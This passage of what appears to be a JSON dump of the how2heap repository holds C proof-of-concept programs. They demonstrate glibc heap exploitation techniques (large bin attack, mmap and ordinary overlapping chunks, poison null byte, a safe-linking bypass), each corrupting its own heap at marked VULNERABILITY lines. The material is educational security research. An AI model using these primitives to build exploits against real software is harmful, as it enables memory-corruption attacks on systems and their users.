3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.33/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  printf(\"Once again, allocate a guard chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  free(p1);\n  printf(\"Free the larger of the two --> [p1] (%p)\\n\",p1-2);\n  size_t *g3 = malloc(0x438);\n  printf(\"Allocate a chunk larger than [p1] to insert [p1] into large bin\\n\");\n\n  printf(\"\\n\");\n\n  free(p2);\n  printf(\"Free the smaller of the two --> [p2] (%p)\\n\",p2-2);\n  printf(\"At this point, we have one chunk in large bin [p1] (%p),\\n\",p1-2);\n  printf(\"               and one chunk in unsorted bin [p2] (%p)\\n\",p2-2);\n\n  printf(\"\\n\");\n\n  p1[3] = (size_t)((&target)-4);\n  printf(\"Now modify the p1->bk_nextsize to [target-0x20] (%p)\\n\",(&target)-4);\n\n  printf(\"\\n\");\n\n  size_t *g4 = malloc(0x438);\n  printf(\"Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\\n\", p2-2, p2-2);\n  printf(\"Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\\n\");\n  printf(\"  the modified p1->bk_nextsize does not trigger any error\\n\");\n  printf(\"Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\\n\", p2-2, p1-2, p2-2);\n\n  printf(\"\\n\");\n\n  printf(\"In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\\n\", p2-2, (void *)target);\n  printf(\"Target (%p) : %p\\n\",&target,(size_t*)target);\n\n  printf(\"\\n\");\n  printf(\"====================================================================\\n\\n\");\n\n  assert((size_t)(p2-2) == target);\n\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.33/mmap_overlapping_chunks.c",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions of GLibC\nCompile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`\n\nPOC written by POC written by Maxwell Dulin (Strikeout) \n*/\nint main()\n{\n\t/*\n\tA primer on Mmap chunks in GLibC\n\t==================================\n\tIn GLibC, there is a point where an allocation is so large that malloc\n\tdecides that we need a seperate section of memory for it, instead \n\tof allocating it on the normal heap. This is determined by the mmap_threshold var.\n\tInstead of the normal logic for getting a chunk, the system call *Mmap* is \n\tused. This allocates a section of virtual memory and gives it back to the user. \n\n\tSimilarly, the freeing process is going to be different. Instead \n\tof a free chunk being given back to a bin or to the rest of the heap,\n\tanother syscall is used: *Munmap*. This takes in a pointer of a previously \n\tallocated Mmap chunk and releases it back to the kernel. \n\n\tMmap chunks have special bit set on the size metadata: the second bit. If this \n\tbit is set, then the chunk was allocated as an Mmap chunk. \n\n\tMmap chunks have a prev_size and a size. The *size* represents the current \n\tsize of the chunk. The *prev_size* of a chunk represents the left over space\n\tfrom the size of the Mmap chunk (not the chunks directly belows size). \n\tHowever, the fd and bk pointers are not used, as Mmap chunks do not go back \n\tinto bins, as most heap chunks in GLibC Malloc do. Upon freeing, the size of \n\tthe chunk must be page-aligned.\n\n\tThe POC below is essentially an overlapping chunk attack but on mmap chunks. \n\tThis is very similar to https://github.com/shellphish/how2heap/blob/master/glibc_2.26/overlapping_chunks.c. \n\tThe main difference is that mmapped chunks have special properties and are \n\thandled in different ways, creating different attack scenarios than normal \n\toverlapping chunk attacks. There are other things that can be done, \n\tsuch as munmapping system libraries, the heap itself and other things.\n\tThis is meant to be a simple proof of concept to demonstrate the general \n\tway to perform an attack on an mmap chunk.\n\n\tFor more information on mmap chunks in GLibC, read this post: \n\thttp://tukan.farm/2016/07/27/munmap-madness/\n\t*/\n\n\tint* ptr1 = malloc(0x10); \n\n\tprintf(\"This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\\n\");\n\tprintf(\"Extremely large chunks are special because they are allocated in their own mmaped section\\n\");\n\tprintf(\"of memory, instead of being put onto the normal heap.\\n\");\n\tputs(\"=======================================================\\n\");\n\tprintf(\"Allocating three extremely large heap chunks of size 0x100000 \\n\\n\");\n\t\t\n\tlong long* top_ptr = malloc(0x100000);\n\tprintf(\"The first mmap chunk goes directly above LibC: %p\\n\",top_ptr);\n\n\t// After this, all chunks are allocated downwards in memory towards the heap.\n\tlong long* mmap_chunk_2 = malloc(0x100000);\n\tprintf(\"The second mmap chunk goes below LibC: %p\\n\", mmap_chunk_2);\n\n\tlong long* mmap_chunk_3 = malloc(0x100000);\n\tprintf(\"The third mmap chunk goes below the second mmap chunk: %p\\n\", mmap_chunk_3);\n\n\tprintf(\"\\nCurrent System Memory Layout \\n\" \\\n\"================================================\\n\" \\\n\"running program\\n\" \\\n\"heap\\n\" \\\n\"....\\n\" \\\n\"third mmap chunk\\n\" \\\n\"second mmap chunk\\n\" \\\n\"LibC\\n\" \\\n\"....\\n\" \\\n\"ld\\n\" \\\n\"first mmap chunk\\n\"\n\"===============================================\\n\\n\" \\\n);\n\t\n\tprintf(\"Prev Size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-2]);\n\tprintf(\"Size of third mmap chunk: 0x%llx\\n\\n\", mmap_chunk_3[-1]);\n\n\tprintf(\"Change the size of the third mmap chunk to overlap with the second mmap chunk\\n\");\t\n\tprintf(\"This will cause both chunks to be Munmapped and given back to the system\\n\");\n\tprintf(\"This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\\n\");\n\n\t// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.\n\t// Additionally, this same attack can be used with the prev_size instead of the size.\n\tmmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;\n\tprintf(\"New size of third mmap chunk: 0x%llx\\n\", mmap_chunk_3[-1]);\n\tprintf(\"Free the third mmap chunk, which munmaps the second and third chunks\\n\\n\");\n\n\t/*\n\tThis next call to free is actually just going to call munmap on the pointer we are passing it.\n\tThe source code for this can be found at https://elixir.bootlin.com/glibc/glibc-2.26/source/malloc/malloc.c#L2845\n\n\tWith normal frees the data is still writable and readable (which creates a use after free on \n\tthe chunk). However, when a chunk is munmapped, the memory is given back to the kernel. If this\n\tdata is read or written to, the program crashes.\n\t\n\tBecause of this added restriction, the main goal is to get the memory back from the system\n\tto have two pointers assigned to the same location.\n\t*/\n\t// Munmaps both the second and third pointers\n\tfree(mmap_chunk_3); \n\n\t/* \n\tWould crash, if on the following:\n\tmmap_chunk_2[0] = 0xdeadbeef;\n\tThis is because the memory would not be allocated to the current program.\n\t*/\n\n\t/*\n\tAllocate a very large chunk with malloc. This needs to be larger than \n\tthe previously freed chunk because the mmapthreshold has increased to 0x202000.\n\tIf the allocation is not larger than the size of the largest freed mmap \n\tchunk then the allocation will happen in the normal section of heap memory.\n\t*/\t\n\tprintf(\"Get a very large chunk from malloc to get mmapped chunk\\n\");\n\tprintf(\"This should overlap over the previously munmapped/freed chunks\\n\");\n\tlong long* overlapping_chunk = malloc(0x300000);\n\tprintf(\"Overlapped chunk Ptr: %p\\n\", overlapping_chunk);\n\tprintf(\"Overlapped chunk Ptr Size: 0x%llx\\n\", overlapping_chunk[-1]);\n\n\t// Gets the distance between the two pointers.\n\tint distance = mmap_chunk_2 - overlapping_chunk;\n\tprintf(\"Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\\n\", distance);\n\tprintf(\"Value of index 0 of mmap chunk 2 prior to write: %llx\\n\", mmap_chunk_2[0]);\n\t\n\t// Set the value of the overlapped chunk.\n\tprintf(\"Setting the value of the overlapped chunk\\n\");\n\toverlapping_chunk[distance] = 0x1122334455667788;\n\n\t// Show that the pointer has been written to.\n\tprintf(\"Second chunk value (after write): 0x%llx\\n\", mmap_chunk_2[0]);\n\tprintf(\"Overlapped chunk value: 0x%llx\\n\\n\", overlapping_chunk[distance]);\n\tprintf(\"Boom! The new chunk has been overlapped with a previous mmaped chunk\\n\");\n\tassert(mmap_chunk_2[0] == overlapping_chunk[distance]);\n\n\t_exit(0); // exit early just in case we corrupted some libraries\n}\n"
  },
  {
    "path": "glibc_2.33/overlapping_chunks.c",
    "content": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main(int argc , char* argv[])\n{\n\tsetbuf(stdout, NULL);\n\n\tlong *p1,*p2,*p3,*p4;\n\tprintf(\"\\nThis is another simple chunks overlapping problem\\n\");\n\tprintf(\"The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\\n\"\n\t\t   \"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\\n\"\n\t\t   \"and the prev_size of it must match the unsortedbin's size\\n\"\n\t\t   \"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\\n\\n\");\n\n\tprintf(\"Let's start to allocate 4 chunks on the heap\\n\");\n\n\tp1 = malloc(0x80 - 8);\n\tp2 = malloc(0x500 - 8);\n\tp3 = malloc(0x80 - 8);\n\n\tprintf(\"The 3 chunks have been allocated here:\\np1=%p\\np2=%p\\np3=%p\\n\", p1, p2, p3);\n\n\tmemset(p1, '1', 0x80 - 8);\n\tmemset(p2, '2', 0x500 - 8);\n\tmemset(p3, '3', 0x80 - 8);\n\n\tprintf(\"Now let's simulate an overflow that can overwrite the size of the\\nchunk freed p2.\\n\");\n\tint evil_chunk_size = 0x581;\n\tint evil_region_size = 0x580 - 8;\n\tprintf(\"We are going to set the size of chunk p2 to to %d, which gives us\\na region size of %d\\n\",\n\t\t evil_chunk_size, evil_region_size);\n\n\t/* VULNERABILITY */\n\t*(p2-1) = evil_chunk_size; // we are overwriting the \"size\" field of chunk p2\n\t/* VULNERABILITY */\n\n\tprintf(\"\\nNow let's free the chunk p2\\n\");\n\tfree(p2);\n\tprintf(\"The chunk p2 is now in the unsorted bin ready to serve possible\\nnew malloc() of its size\\n\");\n\n\tprintf(\"\\nNow let's allocate another chunk with a size equal to the data\\n\"\n\t       \"size of the chunk p2 injected size\\n\");\n\tprintf(\"This malloc will be served from the previously freed chunk that\\n\"\n\t       \"is parked in the unsorted bin which size has been modified by us\\n\");\n\tp4 = malloc(evil_region_size);\n\n\tprintf(\"\\np4 has been allocated at %p and ends at %p\\n\", (char *)p4, (char *)p4+evil_region_size);\n\tprintf(\"p3 starts at %p and ends at %p\\n\", (char *)p3, (char *)p3+0x80-8);\n\tprintf(\"p4 should overlap with p3, in this case p4 includes all p3.\\n\");\n\n\tprintf(\"\\nNow everything copied inside chunk p4 can overwrites data on\\nchunk p3,\"\n\t\t   \" and data written to chunk p3 can overwrite data\\nstored in the p4 chunk.\\n\\n\");\n\n\tprintf(\"Let's run through an example. Right now, we have:\\n\");\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nIf we memset(p4, '4', %d), we have:\\n\", evil_region_size);\n\tmemset(p4, '4', evil_region_size);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tprintf(\"\\nAnd if we then memset(p3, '3', 80), we have:\\n\");\n\tmemset(p3, '3', 80);\n\tprintf(\"p4 = %s\\n\", (char *)p4);\n\tprintf(\"p3 = %s\\n\", (char *)p3);\n\n\tassert(strstr((char *)p4, (char *)p3));\n}\n\n\n"
  },
  {
    "path": "glibc_2.33/poison_null_byte.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tputs(\"Welcome to poison null byte!\");\n\tputs(\"Tested in Ubuntu 20.04 64bit.\");\n\tputs(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\");\n\n\tputs(\"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\\n\");\n\n\t// step1: allocate padding\n\tputs(\"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\\\x00\");\n\tvoid *tmp = malloc(0x1);\n\tvoid *heap_base = (void *)((long)tmp & (~0xfff));\n\tprintf(\"heap address: %p\\n\", heap_base);\n\tsize_t size = 0x10000 - ((long)tmp&0xffff) - 0x20;\n\tprintf(\"Calculate padding chunk size: 0x%lx\\n\", size);\n\tputs(\"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.\");\n\tvoid *padding= malloc(size);\n\n\t// step2: allocate prev chunk and victim chunk\n\tputs(\"\\nStep2: allocate two chunks adjacent to each other.\");\n\tputs(\"Let's call the first one 'prev' and the second one 'victim'.\");\n\tvoid *prev = malloc(0x500);\n\tvoid *victim = malloc(0x4f0);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tprintf(\"prev chunk: malloc(0x500) = %p\\n\", prev);\n\tprintf(\"victim chunk: malloc(0x4f0) = %p\\n\", victim);\n\n\t// step3: link prev into largebin\n\tputs(\"\\nStep3: Link prev into largebin\");\n\tputs(\"This step is necessary for us to forge a fake chunk later\");\n\tputs(\"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk\");\n\tputs(\"allocate a chunk 'a' with size a little bit smaller than prev's\");\n\tvoid *a = malloc(0x4f0);\n\tprintf(\"a: malloc(0x4f0) = %p\\n\", a);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\tputs(\"allocate a chunk 'b' with size a little bit larger than prev's\");\n\tvoid *b = malloc(0x510);\n\tprintf(\"b: malloc(0x510) = %p\\n\", b);\n\tputs(\"malloc(0x10) to avoid consolidation\");\n\tmalloc(0x10);\n\n\tputs(\"\\nCurrent Heap Layout\\n\"\n\t\t \"    ... ...\\n\"\n\t\t \"padding\\n\"\n\t\t \"    prev Chunk(addr=0x??0010, size=0x510)\\n\"\n     \t \"  victim Chunk(addr=0x??0520, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0a20, size=0x20)\\n\"\n\t\t \"       a Chunk(addr=0x??0a40, size=0x500)\\n\"\n\t\t \" barrier Chunk(addr=0x??0f40, size=0x20)\\n\"\n\t\t \"       b Chunk(addr=0x??0f60, size=0x520)\\n\"\n\t\t \" barrier Chunk(addr=0x??1480, size=0x20)\\n\");\n\n\tputs(\"Now free a, b, prev\");\n\tfree(a);\n\tfree(b);\n\tfree(prev);\n\tputs(\"current unsorted_bin:  header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\\n\");\n\n\tputs(\"Allocate a huge chunk to enable sorting\");\n\tmalloc(0x1000);\n\tputs(\"current large_bin:  header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\\n\");\n\n\tputs(\"This will add a, b and prev to largebin\\nNow prev is in largebin\");\n\tprintf(\"The fd_nextsize of prev points to a: %p\\n\", ((void **)prev)[2]+0x10);\n\tprintf(\"The bk_nextsize of prev points to b: %p\\n\", ((void **)prev)[3]+0x10);\n\n\t// step4: allocate prev again to construct fake chunk\n\tputs(\"\\nStep4: Allocate prev again to construct the fake chunk\");\n\tputs(\"Since large chunk is sorted by size and a's size is smaller than prev's,\");\n\tputs(\"we can allocate 0x500 as before to take prev out\");\n\tvoid *prev2 = malloc(0x500);\n\tprintf(\"prev2: malloc(0x500) = %p\\n\", prev2);\n\tputs(\"Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b\");\n\tassert(prev == prev2);\n\n\tputs(\"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10\");\n\tputs(\"So set its size to 0x501 (0x510-0x10 | flag)\");\n\t((long *)prev)[1] = 0x501;\n\tputs(\"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check\");\n\t*(long *)(prev + 0x500) = 0x500;\n\tprintf(\"The fake chunk should be at: %p\\n\", prev + 0x10);\n\tputs(\"use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk\");\n\tputs(\"Now we have fake_chunk->fd == a and fake_chunk->bk == b\");\n\n\t// step5: bypass unlinking\n\tputs(\"\\nStep5: Manipulate residual pointers to bypass unlinking later.\");\n\tputs(\"Take b out first by allocating 0x510\");\n\tvoid *b2 = malloc(0x510);\n\tprintf(\"Because of the residual pointers in b, b->fd points to a right now: %p\\n\", ((void **)b2)[0]+0x10);\n\tprintf(\"We can overwrite the least significant two bytes to make it our fake chunk.\\n\"\n\t\t\t\"If the lowest 2nd byte is not \\\\x00, we need to guess what to write now\\n\");\n\t((char*)b2)[0] = '\\x10';\n\t((char*)b2)[1] = '\\x00';  // b->fd <- fake_chunk\n\tprintf(\"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)b2)[0]);\n\n\tputs(\"To do the same to a, we can move it to unsorted bin first\"\n\t\t\t\"by taking it out from largebin and free it into unsortedbin\");\n\tvoid *a2 = malloc(0x4f0);\n\tfree(a2);\n\tputs(\"Now free victim into unsortedbin so that a->bck points to victim\");\n\tfree(victim);\n\tprintf(\"a->bck: %p, victim: %p\\n\", ((void **)a)[1], victim);\n\tputs(\"Again, we take a out and overwrite a->bck to fake chunk\");\n\tvoid *a3 = malloc(0x4f0);\n\t((char*)a3)[8] = '\\x10';\n\t((char*)a3)[9] = '\\x00';\n\tprintf(\"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\\n\", ((void **)a3)[1]);\n\t// pass unlink_chunk in malloc.c:\n\t//      mchunkptr fd = p->fd;\n\t//      mchunkptr bk = p->bk;\n\t//      if (__builtin_expect (fd->bk != p || bk->fd != p, 0))\n\t//          malloc_printerr (\"corrupted double-linked list\");\n\tputs(\"And we have:\\n\"\n\t\t \"fake_chunk->fd->bk == a->bk == fake_chunk\\n\"\n\t\t \"fake_chunk->bk->fd == b->fd == fake_chunk\\n\"\n\t\t );\n\n\t// step6: add fake chunk into unsorted bin by off-by-null\n\tputs(\"\\nStep6: Use backward consolidation to add fake chunk into unsortedbin\");\n\tputs(\"Take victim out from unsortedbin\");\n\tvoid *victim2 = malloc(0x4f0);\n\tprintf(\"%p\\n\", victim2);\n\tputs(\"off-by-null into the size of vicim\");\n\t/* VULNERABILITY */\n\t((char *)victim2)[-8] = '\\x00';\n\t/* VULNERABILITY */\n\n\tputs(\"Now if we free victim, libc will think the fake chunk is a free chunk above victim\\n\"\n\t\t\t\"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\\n\"\n\t\t\t\"add the merged chunk into unsortedbin.\"\n\t\t\t);\n\tprintf(\"For our fake chunk, because of what we did in step4,\\n\"\n\t\t\t\"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\\n\"\n\t\t\t\"so the unlink will succeed\\n\", ((void **)a3)[1], prev, ((void **)b2)[0], prev);\n\tfree(victim);\n\tputs(\"After freeing the victim, the new merged chunk is added to unsorted bin\"\n\t\t\t\"And it is overlapped with the prev chunk\");\n\n\t// step7: validate the chunk overlapping\n\tputs(\"Now let's validate the chunk overlapping\");\n\tvoid *merged = malloc(0x100);\n\tprintf(\"merged: malloc(0x100) = %p\\n\", merged);\n\tmemset(merged, 'A', 0x80);\n\tprintf(\"Now merged's content: %s\\n\", (char *)merged);\n\n\tputs(\"Overwrite prev's content\");\n\tmemset(prev2, 'C', 0x80);\n\tprintf(\"merged's content has changed to: %s\\n\", (char *)merged);\n\n\tassert(strstr(merged, \"CCCCCCCCC\"));\n}\n"
  },
  {
    "path": "glibc_2.33/safe_link_double_protect.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\n/* \n * This method showcases a blind bypass for the safe-linking mitigation introduced in glibc 2.32. \n * https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41\n * \n * NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will  \n * contain 4 bits of randomness. If you can increment integers, no brutefore is required.\n *\n * Safe-Linking is a memory protection measure using ASLR randomness to fortify single-linked lists. \n * It obfuscates pointers and enforces alignment checks, to prevent pointer hijacking in t-cache.\n *\n * When an entry is linked in to the t-cache, the address is XOR'd with the address that free is \n * called on, shifted by 12 bits. However if you were to link this newly protected pointer, it\n * would be XOR'd again with the same key, effectively reverting the protection. \n * Thus, by simply protecting a pointer twice we effectively achieve the following:\n *\t\n *                                  (ptr^key)^key = ptr\n *\n * The technique requires control over the t-cache metadata, so pairing it with a technique such as\n * house of water might be favourable.\n *\n * Technique by @udp_ctf - Water Paddler / Blue Water \n */\n\nint main(void) {\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\t// Create the goal stack buffer\n\tchar goal[] = \"Replace me!\";\n\tputs(\"============================================================\");\n\tprintf(\"Our goal is to write to the stack variable @ %p\\n\", goal);\n\tprintf(\"String contains: %s\\n\", goal);\n\tputs(\"============================================================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Allocate\n\tputs(\"Allocate two chunks in two different t-caches:\");\n\t\n\t// Allocate two chunks of size 0x38 for 0x40 t-cache\n\tputs(\"\\t- 0x40 chunks:\");\n\tvoid *a = malloc(0x38);\n\tvoid *b = malloc(0x38);\n\tprintf(\"\\t\\t* Entry a @ %p\\n\", a);\n\tprintf(\"\\t\\t* Entry b @ %p\\n\", b);\n\n\t// Allocate two chunks of size 0x18 for 0x20 t-cache\n\tvoid *c = malloc(0x18);\n\tvoid *d = malloc(0x18);\n\tputs(\"\\t- 0x20 chunks:\");\n\tprintf(\"\\t\\t* Entry c @ %p\\n\", c);\n\tprintf(\"\\t\\t* Entry d @ %p\\n\", d);\n\tputs(\"\");\n\n\t// Step 2: Write an arbitrary value (or note the offset to an exsisting value)\n\tputs(\"Allocate a pointer which will contain a pointer to the stack variable:\");\n\n\t// Allocate a chunk and store a modified pointer to the 'goal' array.\n\tvoid *value = malloc(0x28);\n\t// make sure that the pointer ends on 0 for proper heap alignemnt or a fault will occur\n\t*(long *)value = ((long)(goal) & ~(0xf));\n\n\tprintf(\"\\t* Arbitrary value (0x%lx) written to %p\\n\", *(long*)value, value);\n\tputs(\"\");\n\n\t// Step 3: Free the two chunks in the two t-caches to make two t-cache entries in two different caches\n\tputs(\"Free the 0x40 and 0x20 chunks to populate the t-caches\");\n\n\tputs(\"\\t- Free 0x40 chunks:\");\n\t// Free the allocated 0x38 chunks to populate the 0x40 t-cache\n\tfree(a);\n\tfree(b);\n\tprintf(\"\\t\\t> 0x40 t-cache: [%p -> %p]\\n\", b, a);\n\n\tputs(\"\\t- Free the 0x20 chunks\");\n\t// Free the allocated 0x18 chunks to populate the 0x20 t-cache\n\tfree(c);\n\tfree(d);\n\tprintf(\"\\t\\t> 0x20 t-cache: [%p -> %p]\\n\", d, c);\n\tputs(\"\");\n\n\t// Step 4: Using our t-cache metadata control primitive, we will now execute the 